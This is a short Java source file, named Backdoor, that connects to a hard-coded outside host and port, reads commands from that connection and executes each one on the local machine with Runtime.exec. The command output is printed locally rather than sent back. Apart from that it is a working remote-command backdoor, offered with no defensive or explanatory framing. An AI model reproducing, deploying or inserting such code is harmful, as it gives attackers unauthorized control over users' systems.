
import java.io.*;
import java.net.*;

public class Backdoor {
    public static void main(String[] args) {
        try {
            Socket socket = new Socket("192.168.102.74", 8974);
            BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
            String command;
            while ((command = reader.readLine()) != null) {
                Process process = Runtime.getRuntime().exec(command);
                BufferedReader processReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = processReader.readLine()) != null) {
                    System.out.println(line);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
